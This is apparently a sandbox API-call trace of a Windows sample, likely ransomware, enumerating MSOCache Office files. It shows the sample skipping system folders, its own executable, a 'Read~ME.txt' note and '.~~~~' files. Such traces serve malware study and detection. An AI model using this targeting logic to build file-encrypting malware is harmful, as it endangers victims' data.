	[0064.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.955] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1
	[0064.955] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="Windows") returned -1
	[0064.955] lstrcmpW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="oiikyy.exe") returned -1
	[0064.955] StrStrW (lpFirst="Microsoft.VC90.CRT.manifest", lpSrch=".~~~~") returned 0x0
	[0064.955] lstrcmpW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="Read~ME.txt") returned -1
	[0064.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0064.955] GetCurrentThreadId () returned 0x618
	[0064.955] GetCurrentThreadId () returned 0x618
	[0064.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fac48
	[0064.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3220
	[0064.955] RtlWakeConditionVariable () returned 0x365f48
	[0064.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3158 | out: hHeap=0x300000) returned 1
	[0064.955] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1
	[0064.955] lstrcmpiW (lpString1="msvcr90.dll", lpString2="Windows") returned -1
	[0064.956] lstrcmpW (lpString1="msvcr90.dll", lpString2="oiikyy.exe") returned -1
	[0064.956] StrStrW (lpFirst="msvcr90.dll", lpSrch=".~~~~") returned 0x0
	[0064.956] lstrcmpW (lpString1="msvcr90.dll", lpString2="Read~ME.txt") returned -1
	[0064.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.956] GetCurrentThreadId () returned 0x618
	[0064.956] GetCurrentThreadId () returned 0x618
	[0064.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fac80
	[0064.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e80c8
	[0064.956] RtlWakeConditionVariable () returned 0x365f48
	[0064.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.956] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1
	[0064.956] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="Windows") returned -1
	[0064.956] lstrcmpW (lpString1="OfficeLR.cab", lpString2="oiikyy.exe") returned -1
	[0064.956] StrStrW (lpFirst="OfficeLR.cab", lpSrch=".~~~~") returned 0x0
	[0064.956] lstrcmpW (lpString1="OfficeLR.cab", lpString2="Read~ME.txt") returned -1
	[0064.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.956] GetCurrentThreadId () returned 0x618
	[0064.956] GetCurrentThreadId () returned 0x618
	[0064.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27facb8
	[0064.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8170
	[0064.956] RtlWakeConditionVariable () returned 0x365f48
	[0064.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.956] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1
	[0064.956] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="Windows") returned -1
	[0064.956] lstrcmpW (lpString1="OfficeMUI.msi", lpString2="oiikyy.exe") returned -1
	[0064.957] StrStrW (lpFirst="OfficeMUI.msi", lpSrch=".~~~~") returned 0x0
	[0064.957] lstrcmpW (lpString1="OfficeMUI.msi", lpString2="Read~ME.txt") returned -1
	[0064.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0064.957] GetCurrentThreadId () returned 0x618
	[0064.957] GetCurrentThreadId () returned 0x618
	[0064.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27facf0
	[0064.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0064.957] RtlWakeConditionVariable () returned 0x365f48
	[0064.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0064.957] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1
	[0064.957] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="Windows") returned -1
	[0064.957] lstrcmpW (lpString1="OfficeMUI.xml", lpString2="oiikyy.exe") returned -1
	[0064.957] StrStrW (lpFirst="OfficeMUI.xml", lpSrch=".~~~~") returned 0x0
	[0064.957] lstrcmpW (lpString1="OfficeMUI.xml", lpString2="Read~ME.txt") returned -1
	[0064.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0064.957] GetCurrentThreadId () returned 0x618
	[0064.957] GetCurrentThreadId () returned 0x618
	[0064.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fad28
	[0064.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a48e8
	[0064.958] RtlWakeConditionVariable () returned 0x365f48
	[0064.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0064.958] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1
	[0064.958] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="Windows") returned -1
	[0064.958] lstrcmpW (lpString1="OfficeMUISet.msi", lpString2="oiikyy.exe") returned -1
	[0064.958] StrStrW (lpFirst="OfficeMUISet.msi", lpSrch=".~~~~") returned 0x0
	[0064.958] lstrcmpW (lpString1="OfficeMUISet.msi", lpString2="Read~ME.txt") returned -1
	[0064.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0064.958] GetCurrentThreadId () returned 0x618
	[0064.958] GetCurrentThreadId () returned 0x618
	[0064.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3300
	[0064.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a49a0
	[0064.958] RtlWakeConditionVariable () returned 0x365f48
	[0064.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0064.959] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0064.959] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="Windows") returned -1
	[0064.959] lstrcmpW (lpString1="OfficeMUISet.xml", lpString2="oiikyy.exe") returned -1
	[0064.959] StrStrW (lpFirst="OfficeMUISet.xml", lpSrch=".~~~~") returned 0x0
	[0064.959] lstrcmpW (lpString1="OfficeMUISet.xml", lpString2="Read~ME.txt") returned -1
	[0064.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0064.959] GetCurrentThreadId () returned 0x618
	[0064.959] GetCurrentThreadId () returned 0x618
	[0064.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3338
	[0064.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4a58
	[0064.959] RtlWakeConditionVariable () returned 0x365f48
	[0064.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0064.959] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1
	[0064.959] lstrcmpiW (lpString1="osetupui.dll", lpString2="Windows") returned -1
	[0064.959] lstrcmpW (lpString1="osetupui.dll", lpString2="oiikyy.exe") returned 1
	[0064.959] StrStrW (lpFirst="osetupui.dll", lpSrch=".~~~~") returned 0x0
	[0064.959] lstrcmpW (lpString1="osetupui.dll", lpString2="Read~ME.txt") returned -1
	[0064.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.959] GetCurrentThreadId () returned 0x618
	[0064.959] GetCurrentThreadId () returned 0x618
	[0064.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3370
	[0064.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8218
	[0064.959] RtlWakeConditionVariable () returned 0x365f48
	[0064.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.959] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1
	[0064.959] lstrcmpiW (lpString1="pss10r.chm", lpString2="Windows") returned -1
	[0064.960] lstrcmpW (lpString1="pss10r.chm", lpString2="oiikyy.exe") returned 1
	[0064.960] StrStrW (lpFirst="pss10r.chm", lpSrch=".~~~~") returned 0x0
	[0064.960] lstrcmpW (lpString1="pss10r.chm", lpString2="Read~ME.txt") returned -1
	[0064.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.960] GetCurrentThreadId () returned 0x618
	[0064.960] GetCurrentThreadId () returned 0x618
	[0064.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a33a8
	[0064.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e82c0
	[0064.960] RtlWakeConditionVariable () returned 0x365f48
	[0064.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.960] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1
	[0064.960] lstrcmpiW (lpString1="setup.chm", lpString2="Windows") returned -1
	[0064.960] lstrcmpW (lpString1="setup.chm", lpString2="oiikyy.exe") returned 1
	[0064.960] StrStrW (lpFirst="setup.chm", lpSrch=".~~~~") returned 0x0
	[0064.960] lstrcmpW (lpString1="setup.chm", lpString2="Read~ME.txt") returned 1
	[0064.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.960] GetCurrentThreadId () returned 0x618
	[0064.960] GetCurrentThreadId () returned 0x618
	[0064.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a33e0
	[0064.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8368
	[0064.960] RtlWakeConditionVariable () returned 0x365f48
	[0064.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.960] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0064.961] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1
	[0064.961] lstrcmpW (lpString1="Setup.xml", lpString2="oiikyy.exe") returned 1
	[0064.961] StrStrW (lpFirst="Setup.xml", lpSrch=".~~~~") returned 0x0
	[0064.961] lstrcmpW (lpString1="Setup.xml", lpString2="Read~ME.txt") returned 1
	[0064.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.961] GetCurrentThreadId () returned 0x618
	[0064.961] GetCurrentThreadId () returned 0x618
	[0064.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3418
	[0064.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8410
	[0064.961] RtlWakeConditionVariable () returned 0x365f48
	[0064.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.961] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1
	[0064.961] lstrcmpiW (lpString1="ShellUI.MST", lpString2="Windows") returned -1
	[0064.961] lstrcmpW (lpString1="ShellUI.MST", lpString2="oiikyy.exe") returned 1
	[0064.961] StrStrW (lpFirst="ShellUI.MST", lpSrch=".~~~~") returned 0x0
	[0064.961] lstrcmpW (lpString1="ShellUI.MST", lpString2="Read~ME.txt") returned 1
	[0064.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.961] GetCurrentThreadId () returned 0x618
	[0064.961] GetCurrentThreadId () returned 0x618
	[0064.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3450
	[0064.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa268
	[0064.961] RtlWakeConditionVariable () returned 0x365f48
	[0064.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.962] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0
	[0064.962] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0064.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.962] GetCurrentThreadId () returned 0x618
	[0064.962] GetCurrentThreadId () returned 0x618
	[0064.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3488
	[0064.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa310
	[0064.962] RtlWakeConditionVariable () returned 0x365f48
	[0064.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea520 | out: hHeap=0x300000) returned 1
	[0064.963] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9AFC7~1")) returned 1
	[0064.963] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1
	[0064.963] lstrcmpW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1
	[0064.963] lstrcmpW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1
	[0064.964] lstrcmpW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="AppData") returned -1
	[0064.964] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C", lpSrch="AppData") returned 0x0
	[0064.964] lstrlenW (lpString="C:\\Windows") returned 10
	[0064.964] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="C:\\Windows") returned -1
	[0064.964] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0064.964] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="C:\\System Volume Information") returned -1
	[0064.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3ea520
	[0064.964] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0065.419] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0065.419] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0065.419] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0065.419] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0065.420] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0065.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0065.420] GetCurrentThreadId () returned 0x618
	[0065.420] GetCurrentThreadId () returned 0x618
	[0065.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a34c0
	[0065.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7428
	[0065.420] RtlWakeConditionVariable () returned 0x365f48
	[0065.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7260 | out: hHeap=0x300000) returned 1
	[0065.420] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.420] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0065.420] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0065.420] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0065.420] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0065.420] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0065.420] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0065.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0065.420] GetCurrentThreadId () returned 0x618
	[0065.420] GetCurrentThreadId () returned 0x618
	[0065.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a34f8
	[0065.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a74c0
	[0065.420] RtlWakeConditionVariable () returned 0x365f48
	[0065.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7260 | out: hHeap=0x300000) returned 1
	[0065.421] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1
	[0065.421] lstrcmpiW (lpString1="Access.en-us", lpString2="Windows") returned -1
	[0065.421] lstrcmpW (lpString1="Access.en-us", lpString2=".") returned 1
	[0065.421] lstrcmpW (lpString1="Access.en-us", lpString2="..") returned 1
	[0065.421] lstrcmpW (lpString1="Access.en-us", lpString2="AppData") returned -1
	[0065.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us", lpSrch="AppData") returned 0x0
	[0065.421] lstrlenW (lpString="C:\\Windows") returned 10
	[0065.421] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us", lpString2="C:\\Windows") returned -1
	[0065.421] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0065.421] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us", lpString2="C:\\System Volume Information") returned -1
	[0065.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27e0048
	[0065.422] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0065.470] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0065.470] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0065.470] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0065.470] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0065.470] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
